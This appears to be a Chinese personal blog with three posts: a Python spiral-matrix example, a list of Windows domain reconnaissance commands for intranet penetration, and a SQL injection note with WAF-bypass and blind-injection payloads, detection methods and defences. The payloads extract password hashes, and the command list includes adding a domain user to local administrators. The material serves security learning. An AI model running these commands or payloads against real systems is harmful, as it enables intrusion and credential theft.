螺旋矩阵

违父母之命,弃安逸之生活。只身北漂,为我欲为。感谢在我成长中给我制造挫折的人。谢谢清华大学李瑞哥哥,虽一面之缘,仍念感激!

喜欢编程,喜欢计算机的朋友,在此我写一个简单算法的例子,初始化一个 N*N 的矩阵,从左上角第一个元素顺时针填充数字,范围1~N^2

二维螺旋矩阵

示例代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#-*- coding: utf-8 -*-
import numpy
def HelixMatrix(n):
if not isinstance(n,int) or n <= 1:
raise ValueError('please input a valid number!')
matrix = numpy.zeros((n,n))
start = 0
skip = n-1
number = 1
while start < skip:
# 当向右移动,横坐标不变,纵坐标+1,number+1
i = start
while i < skip:
matrix[start][i] = number
i += 1
number += 1
#print(matrix)
#当向下移动,纵坐标不变,横坐标+1,number+1
i = start
while i < skip:
matrix[i][skip] = number
i += 1
number += 1
#print(matrix)
#当向左移动,横坐标不变,纵坐标-1,number+1
i = skip
while i > start:
matrix[skip][i] = number
i -= 1
number += 1
#print(matrix)
#当向上移动,纵坐标不变,横坐标-1,number+1
i = skip
while i > start:
matrix[i][start] = number
i -= 1
number += 1
start += 1
skip -= 1
#当二位矩阵的维数为奇数,最中间也就是最后一个值为0的元的值应该赋值n*n
if n%2 != 0:
matrix[int((n-1)/2)][int((n-1)/2)] = n*n
return matrix
print (HelixMatrix(6))

运行结果如下:

1
2
3
4
5
6
[ 1.  2.  3.  4.  5.  6.]
[20. 21. 22. 23. 24. 7.]
[19. 32. 33. 34. 25. 8.]
[18. 31. 36. 35. 26. 9.]
[17. 30. 29. 28. 27. 10.]
[16. 15. 14. 13. 12. 11.]

又逢周末,晚安

内网渗透命令

内网渗透命令收藏

这里收藏了在内网渗透时常用的命令

命令列表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ipconfig /all                      ------ 查询本机IP段,所在域等
net user ------ 本机用户列表
net localhroup administrators ------ 本机管理员[通常含有域用户]
net user /domain ------ 查询域用户
net group /domain ------ 查询域里面的工作组
net group "domain admins" /domain ------ 查询域管理员用户组
net localgroup administrators /domain ------ 登录本机的域管理员
net localgroup administrators workgroup\user001 /add ------域用户添加到本机
net group "domain controllers" /domain ------ 查看域控制器(如果有多台)
net time /domain ------ 判断主域,主域服务器都做时间服务器
net config workstation ------ 当前登录域
net session ------ 查看当前会话
net use \\ip\ipc$ pawword /user:username ------ 建立IPC会话[空连接-***]
net share ------ 查看SMB指向的路径[即共享]
net view ------ 查询同一域内机器列表
net view \\ip ------ 查询某IP共享
net view /domain ------ 查询域列表
net view /domain:domainname ------ 查看workgroup域中计算机列表
net start ------ 查看当前运行的服务
net accounts ------ 查看本地密码策略
net accounts /domain ------ 查看域密码策略
nbtstat –A ip ------netbios 查询
netstat –an/ano/anb ------ 网络连接查询
route print ------ 路由表
1
2
3
4
5
6
7
8
9
10
11
12
13
14
dsquery computer       ----- finds computers in the directory.
dsquery contact ----- finds contacts in thedirectory.
dsquery subnet ----- finds subnets in thedirectory.
dsquery group ----- finds groups in thedirectory.
dsquery ou ----- finds organizationalunits in the directory.
dsquery site ----- finds sites in thedirectory.
dsquery server ----- finds domain controllers inthe directory.
dsquery user ----- finds users in thedirectory.
dsquery quota ----- finds quota specificationsin the directory.
dsquery partition ----- finds partitions in thedirectory.
dsquery * ----- finds any object inthe directory by using a generic LDAP query.
dsquery server –domain Yahoo.com | dsget server–dnsname –site ---搜索域内域控制器的DNS主机名和站点名
dsquery computer domainroot –name *-xp –limit 10----- 搜索域内以-xp结尾的机器10台
dsquery user domainroot –name admin* -limit ---- 搜索域内以admin开头的用户10个

注:dsquery来源于Windows Server 2003 Administration Tools Pack

1
2
3
4
5
6
7
8
9
10
11
12
tasklist /V                                                      ----- 查看进程[显示对应用户]
tasklist /S ip /U domain\username /P /V ----- 查看远程计算机进程列表
qprocess * ----- 类似tasklist
qprocess /SERVER:IP ----- 远程查看计算机进程列表
nslookup –qt-MX Yahoo.com ----- 查看邮件服务器
whoami /all ----- 查询当前用户权限等
set ----- 查看系统环境变量
systeminfo ----- 查看系统信息
qwinsta ----- 查看登录情况
qwinsta /SERVER:IP ----- 查看远程登录情况
fsutil fsinfo drives ----- 查看所有盘符
gpupdate /force ----- 更新

域策略

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
wmic bios                                      -----看bios信息
wmic qfe ----- 查看补丁信息
wmic qfe get hotfixid ----- 查看补丁-Patch号
wmic startup ----- 查看启动项
wmic service ----- 查看服务
wmic os ----- 查看OS信息
wmic process get caption,executablepath,commandline
wmic process call create “process_name” (executes a program)
wmic process where name=”process_name” call terminate (terminates program)
wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size,
volumeserialnumber (hard drive information)
wmic useraccount (usernames, sid, and various security related goodies)
wmic useraccount get /ALL
wmic share get /ALL (you can use ? for gets help ! )
wmic startup list full (this can be a huge list!!!)
wmic /node:"hostname" bios get serialnumber (this can be great for finding warranty info about target)

元旦快乐哈,童鞋们!

SQLInjection

SQL Injection&Blind SQL Injection(SQL注入与SQL盲注漏洞)

一、绕过WAF的方法:

  1. 大小写绕过
  2. 简单编码绕过
  3. 注释绕过
    如?id=1 uni//on sele//ct 1,2,3 #
  4. 分隔重写绕过
    适用于WAF采用正则表达式检测所有的敏感字的情况,可以通过注释分开敏感字,如?id=1 un//ion sel//ect 1,2,3 #;至于重写绕过,适用于WAF过滤了一次的情况,如uniunionon,有时候可能还有多次过滤的情况,这时多次尝试也可以。
  5. HTTP参数污染(HPP)
    如?id=1 union select 1,2,3 from users where id=1 #
    这时可以改为?id=1 union select 1&id=2,3 from users where id=1 #
    次数&id=会在查询时变成逗号,具体细节取决于 WAF ;
    这个例子也同理:?id=1/
    /union/&id=/select/&id=/pwd/&id=/from/&id=/users #
    如果服务器代码为: select
    from table where a=”.$_GET[‘a’].” and b=”.$_GET[‘b’].” limit “.$_GET[‘c’]; 那么可以构造这样的注入语句: ?a=1 union/&b=/select 1,pass/&c=/from users # 最终解析为: select from table where a=1 union/ and b=/select 1,pass/limit /from users # 可以看到,这种方式比较适合白盒测试。
  6. 使用逻辑运算符 or /and 绕过
    如?id=1 or 0x50=0x50
    ?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74,其中select pwd from users limit 1,1是从 users 表里查询 pwd 字段的第一条记录, 然后 mid()就是取该记录的第一个字符, lower()把字符转换为小写, ascii 把 该字符转换成 ascii 码,最后判断等不等于 74。
  7. 比较操作符替换比较操作符如!=、<>、<、>都可以用来替换=来绕过。
  8. 同功能函数替换
    substring()可以用mid()、substr()这些函数来替换,都是用来取字符串的某一位字符的;
    ascii()编码可以用 hex()、bin(),即十六进制和二进制编码替换;
    在使用在基于延时的盲注中benchmark()和sleep()可以相互替换;
    group_concat 、 concat 、concat_ws 三者可以互相替换;
    还有一种新的方法 ,3条语句分别如下
    substring((select ‘password’),1,1) = 0x70
    substr((select ‘password’),1,1) = 0x70
    mid((select ‘password’),1,1) = 0x70
    都是从 password 里判断第一个字符的值,可以用
    strcmp(left(‘password’,1), 0x69) = 1
    strcmp(left(‘password’,1), 0x70) = 0
    strcmp(left(‘password’,1), 0x71) = -1
    替换,left 用来取字符串左起 1 位的值,strcmp 用来比较两个值,如果比较结果相等就为 0,左边小的话就为-1,否则为 1。
  9. 盲注无需or和and:
    例句:index.php?id=1
    当and和or被过滤时,可以将 1修改为是通过语句生成的, index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123,123 的时候页面是正确的,现在再盲猜 hash 的第一位,如果第一位等于 0x42 也就是 B,那么strcmp结果为0,0+123=123,所以页面应该是正确的。否则就说明不是 B,就这样猜,不用 and 和 or 了。
  10. 加括号
    如?id=(1)union(select(1),mid(hash,1,32)from(users))
    ?id=(1)union(((((((select(1),hex(hash)from(users))))))))
    ?id=(1)or(0x50=0x50)

    11.缓冲区溢出绕过
    如id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10 #
    其中 A 越多越好,一般要求 1000 个以上。

二、检测方法:

1、基于报错的检测方法
使用各种符号以及组合: ‘ “ ( %
如直接在URL后添加单引号看是否报错index.php?id=1’

2、基于布尔的检测
最常用的如1’ and ‘1’=’1和1’ and ‘1’=’2 相当于 1’ and ‘1和1’ and ‘0
当返回的结果不同时即有漏洞

3、直接在URL地址后面加-1、-0、’%2B’和’%2B’a
添加-1:index.php?id=123-1,当前后访问的页面不同时,即可确定存在数字型SQL注入漏洞;
添加-0:index.php?id=123-0,当前后访问的页面相同时,再加上-1,返回错误页面,则表示存在数字型SQL注入漏洞;
添加’%2B’和’%2B’a:这里%2B为‘+’的URL编码,当先添加’%2B’时index.php?id=123’%2B’返回同样的页面,而添加’%2B’a时返回错误,这种适用于SQL语句中id值被一对单引号括起来的情况。

4、判断盲注的常用方法
1’ and 1=1 #
1’ and 1=2 #
判断这两种不同的输入是否有不一样的显示,如果一个正常一个通用的错误提示或者啥也不显示,则几乎可以确定是含有SQL注入漏洞的。

三、防御方法:

关键是对所有用户的输入进行严格的检查过滤、对数据库配置使用最小权限原则。
常用的修复方案:

(1)所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。

(2)过滤危险的 SQL 语句关键字。

(3)确认每种数据的类型。

(4)数据长度应该严格规定。

(5)网站每个数据层的编码统一。

(6)严格限制网站用户的数据库的操作权限。

(7)避免网站显示 SQL 错误信息。

(8)在网站发布之前建议使用一些专业的 SQL 注入检测工具进行检测。

(9)升级 web 服务器运行平台软件补丁,建议使用 WAF 防护。

其实最有效的防御手段是下面两种

1、预编译:
原理是采用PreparedStatement将相应的SQL语句预先编译好,即SQL引擎会预先进行语法分析,产生语法树,生成执行计划,从而无论用户输入什么内容即使是sql命令都不会影响该SQL语句的语法结构而只能当成是字符串字面值参数。但并不是所有场景都能采用SQL预编译的,如需要进行一些字符串拼接的方式,这时便需要严格检查参数的数据类型以及采用一些安全函数来处理。
其过程如下:
(1)定义预编译的sql语句,其中待填入的参数用?占位。
(2)创建预编译Statement,并把sql语句传入。此时sql语句已与此preparedStatement绑定。所以第4步执行语句时无需再把sql语句作为参数传入execute()。
(3)填入具体参数。通过setXX(问号下标,数值)来为sql语句填入具体数据。问号下标从1开始,setXX与数值类型有关,字符串就是setString(index,str)。
(4)执行预处理对象。
例子:
String sql=”select id,no from user where id=?”;
PreparedStatement ps = conn.prepareStatement(sql);
prestmt.setInt(1,id);
prestmt.executeQuery();

2、变量绑定:
是指在sql语句的条件中使用变量而不是常量,是为了减少解析的。具体的细节网上很多,后面再补充。